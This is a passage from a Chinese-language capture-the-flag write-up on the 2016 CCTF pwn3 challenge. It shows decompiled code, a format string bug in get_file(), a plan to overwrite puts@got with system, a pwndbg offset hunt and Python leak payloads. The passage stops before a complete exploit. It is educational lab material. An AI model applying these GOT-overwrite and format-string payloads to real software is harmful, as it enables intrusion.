<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pop eax; ret;           # printf@got -&gt; eax</span><br><span class="line">pop ebx; ret;           # (addr_offset = system_addr - printf_addr) -&gt; ebx</span><br><span class="line">add [eax] ebx; ret;     # [printf@got] = [printf@got] + addr_offset</span><br></pre></td></tr></table></figure>

<ul>
<li>格式化字符串任意地址写</li>
</ul>
</li>
</ol>
<h3 id="例子-1"><a href="#例子-1" class="headerlink" title="例子"></a>例子</h3><p>使用的是2016 CCTF中的pwn3</p>
<p>首先查看保护</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">hacker@ubuntu:~/Desktop/2016-CCTF-pwn3$ checksec pwn3</span><br><span class="line">[*] &#x27;/home/hacker/Desktop/2016-CCTF-pwn3/pwn3&#x27;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br></pre></td></tr></table></figure>

<p>开了NX。</p>
<p>main()：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl __noreturn <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> s1; <span class="comment">// [esp+14h] [ebp-2Ch]</span></span><br><span class="line">  <span class="keyword">int</span> v5; <span class="comment">// [esp+3Ch] [ebp-4h]</span></span><br><span class="line"></span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, <span class="number">0</span>);</span><br><span class="line">  ask_username(&amp;s1);</span><br><span class="line">  ask_password(&amp;s1);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      print_prompt();</span><br><span class="line">      v3 = get_command();</span><br><span class="line">      v5 = v3;</span><br><span class="line">      <span class="keyword">if</span> ( v3 != <span class="number">2</span> )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      put_file();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v3 == <span class="number">3</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      show_dir();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v3 != <span class="number">1</span> )</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">      get_file();</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>ask_username():</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">char</span> *__cdecl <span class="title">ask_username</span><span class="params">(<span class="keyword">char</span> *dest)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> src[<span class="number">40</span>]; <span class="comment">// [esp+14h] [ebp-34h]</span></span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [esp+3Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Connected to ftp.hacker.server&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;220 Serv-U FTP Server v6.4 for WinSock ready...&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Name (ftp.hacker.server:Rainism):&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%40s&quot;</span>, src);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">39</span> &amp;&amp; src[i]; ++i )</span><br><span class="line">    ++src[i];</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">strcpy</span>(dest, src);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>对输入的每一位进行了+1的操作。</p>
<p>ask_password()</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">ask_password</span><span class="params">(<span class="keyword">char</span> *s1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">if</span> ( <span class="built_in">strcmp</span>(s1, <span class="string">&quot;sysbdmin&quot;</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;who you are?&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;welcome!&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>操作之后的需要与sysbdmin相同。</p>
<p>get_command()</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">signed</span> <span class="keyword">int</span> <span class="title">get_command</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> s1; <span class="comment">// [esp+1Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%3s&quot;</span>, &amp;s1);</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">strncmp</span>(&amp;s1, <span class="string">&quot;get&quot;</span>, <span class="number">3u</span>) )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">strncmp</span>(&amp;s1, <span class="string">&quot;put&quot;</span>, <span class="number">3u</span>) )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">2</span>;</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">strncmp</span>(&amp;s1, <span class="string">&quot;dir&quot;</span>, <span class="number">3u</span>) )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">3</span>;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">4</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>put_file()：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">_DWORD *<span class="title">put_file</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  _DWORD *v0; <span class="comment">// ST1C_4</span></span><br><span class="line">  _DWORD *result; <span class="comment">// eax</span></span><br><span class="line"></span><br><span class="line">  v0 = <span class="built_in">malloc</span>(<span class="number">0xF4</span>u);<span class="comment">//244</span></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;please enter the name of the file you want to upload:&quot;</span>);</span><br><span class="line">  get_input(v0, <span class="number">40</span>, <span class="number">1</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;then, enter the content:&quot;</span>);</span><br><span class="line">  get_input(v0 + <span class="number">10</span>, <span class="number">200</span>, <span class="number">1</span>);</span><br><span class="line">  v0[<span class="number">60</span>] = file_head;</span><br><span class="line">  result = v0;</span><br><span class="line">  file_head = (<span class="keyword">int</span>)v0;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>malloc后调用两次get_input()函数，并在最后的 4 个字节内写入上一块调用 put_file 时获得的地址，然后更新头指针 file_head 并返回本次分配的空间的起始地址。</p>
<p>也就是说，每次调用put_file()，分配244字节大小的空间，前40字节保存文件名，后200保存文件内容，最后四个字节保存上一块内存的地址，file_head是bss段上的变量，所以值为0，这样就在栈上得到一条链。</p>
<p>get_input()</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">signed</span> <span class="keyword">int</span> __cdecl <span class="title">get_input</span><span class="params">(<span class="keyword">int</span> a1, <span class="keyword">int</span> a2, <span class="keyword">int</span> a3)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  _BYTE *v4; <span class="comment">// [esp+18h] [ebp-10h]</span></span><br><span class="line">  <span class="keyword">int</span> v5; <span class="comment">// [esp+1Ch] [ebp-Ch]</span></span><br><span class="line">  v5 = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    v4 = (_BYTE *)(v5 + a1);</span><br><span class="line">    result = fread((<span class="keyword">void</span> *)(v5 + a1), <span class="number">1u</span>, <span class="number">1u</span>, <span class="built_in">stdin</span>);</span><br><span class="line">    <span class="keyword">if</span> ( result &lt;= <span class="number">0</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">if</span> ( *v4 == <span class="number">10</span> &amp;&amp; a3 )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v5 )</span><br><span class="line">      &#123;</span><br><span class="line">        result = v5 + a1;</span><br><span class="line">        *v4 = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      result = ++v5;</span><br><span class="line">      <span class="keyword">if</span> ( v5 &gt;= a2 )</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>函数在遇到回车符号或达到最大输入量（第二个参数）前，会一直向第一个参数指定的缓冲区中写入输入的内容.</p>
<p>show_dir()：函数遍历前面利用 put_file 得到的链栈，并依次将它们的名字复制到大小为 1024 个字节的缓冲区中，然后输出缓冲区的内容</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">show_dir</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v0; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">1024</span>]; <span class="comment">// [esp+14h] [ebp-414h]</span></span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [esp+414h] [ebp-14h]</span></span><br><span class="line">  <span class="keyword">int</span> j; <span class="comment">// [esp+418h] [ebp-10h]</span></span><br><span class="line">  <span class="keyword">int</span> v5; <span class="comment">// [esp+41Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v5 = <span class="number">0</span>;</span><br><span class="line">  j = <span class="number">0</span>;</span><br><span class="line">  bzero(s, <span class="number">0x400</span>u);</span><br><span class="line">  <span class="keyword">for</span> ( i = file_head; i; i = *(_DWORD *)(i + <span class="number">240</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">for</span> ( j = <span class="number">0</span>; *(_BYTE *)(i + j); ++j )</span><br><span class="line">    &#123;</span><br><span class="line">      v0 = v5++;</span><br><span class="line">      s[v0] = *(_BYTE *)(i + j);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>get_file()：存在漏洞的函数。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">get_file</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> dest; <span class="comment">// [esp+1Ch] [ebp-FCh]</span></span><br><span class="line">  <span class="keyword">char</span> s1; <span class="comment">// [esp+E4h] [ebp-34h]</span></span><br><span class="line">  <span class="keyword">char</span> *i; <span class="comment">// [esp+10Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;enter the file name you want to get:&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%40s&quot;</span>, &amp;s1);</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">strncmp</span>(&amp;s1, <span class="string">&quot;flag&quot;</span>, <span class="number">4u</span>) )</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;too young, too simple&quot;</span>);</span><br><span class="line">  <span class="keyword">for</span> ( i = (<span class="keyword">char</span> *)file_head; i; i = (<span class="keyword">char</span> *)*((_DWORD *)i + <span class="number">60</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( !<span class="built_in">strcmp</span>(i, &amp;s1) )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">strcpy</span>(&amp;dest, i + <span class="number">40</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="built_in">printf</span>(&amp;dest);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(&amp;dest);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>根据用户输入的文件名到链栈中去寻找，如果有同名的文件那么输出内容，但是因为最后将文件的内容直接 printf 出来，所以存在 <strong>格式化字符串漏洞</strong>。</p>
<p>将文件内容put到文件中后，调用get_file将文件内容读取出来，存在格式化字符串漏洞，可以达到信息泄露和任意地址写。</p>
<ol>
<li>利用格式化字符串的任意写，将show_dir()函数调用的put函数在got.plt表中的地址改为system的地址</li>
<li>将show_dir()所显示的文件名内容设成&#x2F;bin&#x2F;sh</li>
</ol>
<p>完成上面两步后，就可以在运行show_dir()时将puts(“&#x2F;bin&#x2F;sh”)变为system(“”&#x2F;bin&#x2F;sh”)</p>
<p>第二步比较简单，主要是第一步。</p>
<p>不知道system函数的地址，因为我们不知道动态链接后libc的基址，这首先需要将这个信息泄露</p>
<p>我们先在printf的地址下断点</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">.text:08048895 loc_8048895:                            ; CODE XREF: get_file+8B↑j</span><br><span class="line">.text:08048895                 lea     eax, [ebp+dest]</span><br><span class="line">.text:0804889B                 mov     [esp], eax      ; format</span><br><span class="line">.text:0804889E                 call    _printf</span><br><span class="line">.text:080488A3                 leave</span><br><span class="line">.text:080488A4                 retn</span><br><span class="line">.text:080488A4 get_file        endp</span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; r</span><br><span class="line">Starting program: /home/yutao/ctf-challenges/pwn/fmtstr/<span class="number">2016</span>-CCTF-pwn3/pwn3 </span><br><span class="line">Connected to ftp.hacker.server</span><br><span class="line"><span class="number">220</span> Serv-U FTP Server v6<span class="number">.4</span> <span class="keyword">for</span> WinSock ready...</span><br><span class="line">Name (ftp.hacker.server:Rainism):rxraclhm</span><br><span class="line">welcome!</span><br><span class="line">ftp&gt;put </span><br><span class="line">please enter the name of the file you want to upload:namename</span><br><span class="line">then, enter the content:qwerqwer</span><br><span class="line">ftp&gt;get</span><br><span class="line">enter the file name you want to get:namename</span><br><span class="line"></span><br><span class="line">Breakpoint <span class="number">1</span>, <span class="number">0x0804889e</span> <span class="function">in <span class="title">get_file</span> <span class="params">()</span></span></span><br><span class="line"><span class="function">LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA</span></span><br><span class="line"><span class="function">─────────────────────────────────[ REGISTERS ]──────────────────────────────────</span></span><br><span class="line"><span class="function"> EAX  0xffffcedc ◂— &#x27;qwerqwer&#x27;</span></span><br><span class="line"><span class="function"> EBX  0x0</span></span><br><span class="line"><span class="function"> ECX  0x804b598 ◂— &#x27;qwerqwer&#x27;</span></span><br><span class="line"><span class="function"> EDX  0xffffcedc ◂— &#x27;qwerqwer&#x27;</span></span><br><span class="line"><span class="function"> EDI  0x0</span></span><br><span class="line"><span class="function"> ESI  0<span class="title">xf7fb6000</span> <span class="params">(_GLOBAL_OFFSET_TABLE_)</span> ◂— 0x1d7d8c</span></span><br><span class="line"><span class="function"> EBP  0xffffcfd8 —▸ 0xffffd028 ◂— 0x0</span></span><br><span class="line"><span class="function"> ESP  0xffffcec0 —▸ 0xffffcedc ◂— &#x27;qwerqwer&#x27;</span></span><br><span class="line"><span class="function"> EIP  0<span class="title">x804889e</span> <span class="params">(get_file+<span class="number">168</span>)</span> —▸ 0xfffc1de8 ◂— 0xfffc1de8</span></span><br><span class="line"><span class="function">───────────────────────────────────[ DISASM ]───────────────────────────────────</span></span><br><span class="line"><span class="function"> ► 0x804889e &lt;get_file+168&gt;      call   <span class="built_in">printf</span>@plt &lt;<span class="built_in">printf</span>@plt&gt;</span></span><br><span class="line"><span class="function">        format: 0xffffcedc ◂— &#x27;qwerqwer&#x27;</span></span><br><span class="line"><span class="function">        vararg: 0x804b598 ◂— &#x27;qwerqwer&#x27;</span></span><br><span class="line"><span class="function"> </span></span><br><span class="line"><span class="function">   0x80488a3 &lt;get_file+173&gt;      leave  </span></span><br><span class="line"><span class="function">   0x80488a4 &lt;get_file+174&gt;      ret    </span></span><br><span class="line"><span class="function"> </span></span><br><span class="line"><span class="function">   0x80488a5 &lt;get_command&gt;       push   ebp</span></span><br><span class="line"><span class="function">   0x80488a6 &lt;get_command+1&gt;     mov    ebp, esp</span></span><br><span class="line"><span class="function">   0x80488a8 &lt;get_command+3&gt;     sub    esp, 0x28</span></span><br><span class="line"><span class="function">   0x80488ab &lt;get_command+6&gt;     lea    eax, [ebp - 0xc]</span></span><br><span class="line"><span class="function">   0x80488ae &lt;get_command+9&gt;     mov    dword ptr [esp + 4], eax</span></span><br><span class="line"><span class="function">   0x80488b2 &lt;get_command+13&gt;    mov    dword ptr [esp], 0x8048bc5</span></span><br><span class="line"><span class="function">   0x80488b9 &lt;get_command+20&gt;    call   __isoc99_scanf@plt &lt;__isoc99_scanf@plt&gt;</span></span><br><span class="line"><span class="function"> </span></span><br><span class="line"><span class="function">   0x80488be &lt;get_command+25&gt;    mov    dword ptr [esp + 8], 3</span></span><br><span class="line"><span class="function">───────────────────────────────────[ STACK ]────────────────────────────────────</span></span><br><span class="line"><span class="function">00:0000│ esp      0xffffcec0 —▸ 0xffffcedc ◂— &#x27;qwerqwer&#x27;</span></span><br><span class="line"><span class="function">01:0004│          0xffffcec4 —▸ 0x804b598 ◂— &#x27;qwerqwer&#x27;</span></span><br><span class="line"><span class="function">02:0008│          0xffffcec8 ◂— 0x4</span></span><br><span class="line"><span class="function">03:000c│          0xffffcecc —▸ 0xf7de8f88 ◂— movsd  dword ptr es:[edi], dword ptr [esi]</span></span><br><span class="line"><span class="function">04:0010│          0xffffced0 ◂— 0xfbad2887</span></span><br><span class="line"><span class="function">05:0014│          0xffffced4 ◂— 0x7d4</span></span><br><span class="line"><span class="function">06:0018│          0xffffced8 —▸ 0<span class="title">xf7fb4220</span> <span class="params">(_IO_helper_jumps)</span> ◂— 0x0</span></span><br><span class="line"><span class="function">07:001c│ eax edx  0xffffcedc ◂— &#x27;qwerqwer&#x27;</span></span><br><span class="line"><span class="function">─────────────────────────────────[ BACKTRACE ]──────────────────────────────────</span></span><br><span class="line"><span class="function"> ► f 0  804889e get_file+168</span></span><br><span class="line"><span class="function">   f 1  80486c9 main+92</span></span><br><span class="line"><span class="function">   f 2 f7df6f21 __libc_start_main+241</span></span><br><span class="line"><span class="function">────────────────────────────────────────────────────────────────────────────────</span></span><br><span class="line"><span class="function">pwndbg&gt; <span class="built_in">stack</span> 24</span></span><br><span class="line"><span class="function">00:0000│ esp      0xffffcec0 —▸ 0xffffcedc ◂— &#x27;qwerqwer&#x27;</span></span><br><span class="line"><span class="function">01:0004│          0xffffcec4 —▸ 0x804b598 ◂— &#x27;qwerqwer&#x27;</span></span><br><span class="line"><span class="function">02:0008│          0xffffcec8 ◂— 0x4</span></span><br><span class="line"><span class="function">03:000c│          0xffffcecc —▸ 0xf7de8f88 ◂— movsd  dword ptr es:[edi], dword ptr [esi]</span></span><br><span class="line"><span class="function">04:0010│          0xffffced0 ◂— 0xfbad2887</span></span><br><span class="line"><span class="function">05:0014│          0xffffced4 ◂— 0x7d4</span></span><br><span class="line"><span class="function">06:0018│          0xffffced8 —▸ 0<span class="title">xf7fb4220</span> <span class="params">(_IO_helper_jumps)</span> ◂— 0x0</span></span><br><span class="line"><span class="function">07:001c│ eax edx  0xffffcedc ◂— &#x27;qwerqwer&#x27;</span></span><br><span class="line"><span class="function">... ↓</span></span><br><span class="line"><span class="function">09:0024│          0xffffcee4 —▸ 0x8048c00 ◂— push   ebx <span class="comment">/* &#x27;Serv-U FTP Server v6.4 for WinSock ready...&#x27; */</span></span></span><br><span class="line"><span class="function">0a:0028│          0xffffcee8 —▸ 0<span class="title">xf7e511db</span> <span class="params">(_IO_file_underflow+<span class="number">11</span>)</span> ◂— add    edi, 0x164e25</span></span><br><span class="line"><span class="function">0b:002c│          0xffffceec —▸ 0xf7fb49f4 ◂— 0x0</span></span><br><span class="line"><span class="function">0c:0030│          0xffffcef0 —▸ 0<span class="title">xf7fb65c0</span> <span class="params">(_IO_2_1_stdin_)</span> ◂— 0xfbad2288</span></span><br><span class="line"><span class="function">0d:0034│          0xffffcef4 ◂— 0x1</span></span><br><span class="line"><span class="function">0e:0038│          0xffffcef8 —▸ 0x804b598 ◂— &#x27;qwerqwer&#x27;</span></span><br><span class="line"><span class="function">0f:003c│          0xffffcefc —▸ 0<span class="title">xf7e5034f</span> <span class="params">(__GI__IO_file_xsgetn+<span class="number">575</span>)</span> ◂— add    esp, 0x10</span></span><br><span class="line"><span class="function">10:0040│          0xffffcf00 —▸ 0x804b5a0 ◂— 0x0</span></span><br><span class="line"><span class="function">11:0044│          0xffffcf04 —▸ 0x804b168 ◂— 0xa <span class="comment">/* &#x27;\n&#x27; */</span></span></span><br><span class="line"><span class="function">12:0048│          0xffffcf08 ◂— 0x1</span></span><br><span class="line"><span class="function">13:004c│          0xffffcf0c —▸ 0xf7ffd940 ◂— 0x0</span></span><br><span class="line"><span class="function">14:0050│          0xffffcf10 —▸ 0xffffcf44 —▸ 0x804b5a0 ◂— 0x0</span></span><br><span class="line"><span class="function">15:0054│          0xffffcf14 —▸ 0<span class="title">xf7fb6000</span> <span class="params">(_GLOBAL_OFFSET_TABLE_)</span> ◂— 0x1d7d8c</span></span><br><span class="line"><span class="function">16:0058│          0xffffcf18 —▸ 0<span class="title">xf7fb4220</span> <span class="params">(_IO_helper_jumps)</span> ◂— 0x0</span></span><br><span class="line"><span class="function">17:005c│          0xffffcf1c —▸ 0xf7fb49f4 ◂— 0x0</span></span><br><span class="line"><span class="function">pwndbg&gt;</span></span><br></pre></td></tr></table></figure>

<p>可以看出字符串偏移为7，接下来得到puts@got地址：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">&#x27;%8$s&#x27;</span> + p32(puts_got)</span><br><span class="line"><span class="keyword">or</span></span><br><span class="line">payload = p32(puts_got) + <span class="string">&#x27;%7$s&#x27;</span></span><br></pre></td></tr></table></figure>

<p>接下来接收puts函数的真实地址：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">payload = p32(puts_got) + <span class="string">&#x27;%7$s&#x27;</span></span><br></pre></td></tr></table></figure>

<p>由于我们使用的是本地的libc，所以挂载本地的libc就行了。查看一下程序在运行时使用的libc文件：</p>
